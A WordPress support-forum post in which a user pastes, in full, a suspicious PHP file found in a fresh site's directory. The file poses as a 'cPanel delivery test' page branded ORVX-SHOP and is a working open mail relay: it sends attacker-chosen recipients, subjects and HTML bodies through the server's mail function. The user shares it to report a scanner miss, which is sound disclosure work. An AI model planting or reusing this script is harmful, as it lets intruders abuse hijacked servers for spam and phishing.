• Resolved CPKN

    (@cpkn)


    I found gibberish php files with code in my wordpress directory of a fresh website, in maintenance mode with Wordfence Premium:

    <?php
    error_reporting(0);
    $actual_linka = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
    $partsa = parse_url($actual_linka);

    $stra = $partsa['scheme'].'://'.$partsa['host'].$partsa['path'];
    $aler = '';
    $emall = isset($_REQUEST['email'])?$_REQUEST['email']:null;

    function hideEmailAddress($email)
    {
    $em = explode("@", $email);
    $name = implode("@", array_slice($em, 0, count($em) - 1));
    $len = floor(strlen($name) / 2);
    return substr($name, 0, $len) . str_repeat("*", $len) . "@" . end($em);
    }

    if (filter_var($emall, FILTER_VALIDATE_EMAIL)){
    $recipient = isset ($emall) ? $emall : null;
    $subject = isset ($_REQUEST["subject"]) ? $_REQUEST["subject"] : "Delivery Test from cPanel [$stra]";
    $message = isset ($_REQUEST["msg"]) ? $_REQUEST["msg"] : "If you see this msg this means that cPanel [$stra] Delivery is working good";
    $headers = "MIME-Version: 1.0" . "\r\n";
    $headers .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";


    if(mail($recipient, $subject, $message, $headers))
    {
    $aler = '<div class="alert alert-success alert-dismissible fade show" role="alert" style="background: rgba(40, 199, 111, 0.2) !important;color: #28C76F !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">

    <span>Test email sent to '.hideEmailAddress($emall).' Successfully</span>
    </div>';
    }
    else{
    $aler = '<div class="alert alert-danger alert-dismissible fade show" role="alert" style="background: rgba(234, 84, 85, 0.2) !important;
    color: #EA5455 !important;border-color: rgb(0 0 0 / 8%);border-radius: 10px;">

    <span>Test email Failed to '.hideEmailAddress($emall).'</span>
    </div>';
    }




    }

    echo '<html lang="en"><head>
    <title>' . $_SERVER['HTTP_HOST'] . ' - cPanel delivery test</title>
    <link rel="shortcut icon"" >
    <link rel="stylesheet" type="text/css" >

    <style>
    .orvx-auth {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-flex-basis: 100%;
    -ms-flex-preferred-size: 100%;
    flex-basis: 100%;
    min-height: 100vh;
    min-height: calc(var(--vh, 1vh) * 100);
    width: 100%
    }

    .orvx-auth .auth-inner {
    width: 100%;
    position: relative
    }

    .orvx-auth.orvx-v1 {
    -webkit-box-align: center;
    -webkit-align-items: center;
    -ms-flex-align: center;
    align-items: center;
    -webkit-box-pack: center;
    -webkit-justify-content: center;
    -ms-flex-pack: center;
    justify-content: center;
    overflow: hidden
    }

    .orvx-auth.orvx-v1 .auth-inner:before {
    width: 244px;
    height: 243px;
    content:" ";
    position: absolute;
    top: -54px;
    left: -46px;
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)
    }

    .orvx-auth.orvx-v1 .auth-inner:after {
    width: 272px;
    height: 272px;
    content:" ";
    position: absolute;
    bottom: -55px;
    right: -75px;
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);
    z-index: -1
    }

    @media (max-width:575.98px) {
    .orvx-auth.orvx-v1 .auth-inner:after,
    .orvx-auth.orvx-v1 .auth-inner:before {
    display: none
    }
    }



    .orvx-auth.orvx-v1 .auth-inner {
    max-width: 500px;

    }

    .orvx-auth .brand-logo {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: center;
    -webkit-justify-content: center;
    -ms-flex-pack: center;
    justify-content: center;
    margin: 1rem 0 2rem
    }

    .orvx-auth .brand-logo .brand-text {
    font-weight: 600
    }


    @media (min-width:1200px) {
    .orvx-auth.auth-v2 .auth-card {
    width: 400px
    }
    }
    </style>
    </head>

    <body style="
    color: #B4B7BD;
    background-color: #161D31;
    ">

    <div class="orvx-auth orvx-v1 px-2">
    <div class="auth-inner py-2">

    <div class="card mb-0" style="
    background-color: #283046;
    box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);
    border-radius: 10px;
    ">

    <div class="card-body">
    <a target="_blank" style="
    color: #7367F0 !important;
    background-color: transparent;
    " class="brand-logo">

    <h2 class="brand-text text-primary ml-1" style="
    color: #7367F0 !important;
    background-color: transparent;
    ">ORVX-SHOP</h2>
    </a>
    '.$aler.'
    <h4 class="card-title mb-1">Delivery Test</h4>
    <p class="card-text mb-2">Tip: you can fast check delivery with this link directly <br><a href="'.$stra.'?email=youremail@domain.com">'. $stra.'?email=youremail@domain.com</a></p>
    <form method="post">
    <div class="form-group">
    <label class="form-label">Email</label>
    <input required="" type="email" class="form-control" name="email" placeholder="youremail@domain.com" autofocus="" style="
    border-color: #404656;
    background-color: #283046;
    color: #B4B7BD;
    ">
    <p class="card-text mb-2">Test email will be sent to this email address.</p>

    </div>

    <button type="submit" class="btn btn-lg float-right" style="border-color: #4839EB !important;background-color: #7367F0 !important;color: #FFFFFF;">Test</button>




    </form>


    </div>
    </div>

    </div>
    </div>
    </body></html>';
    exit;

    Given there is an imgur link to V for Vendeta and has ORVX Shop, this has to be malicious. WF has not picked this up.

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Viewing 1 replies (of 1 total)
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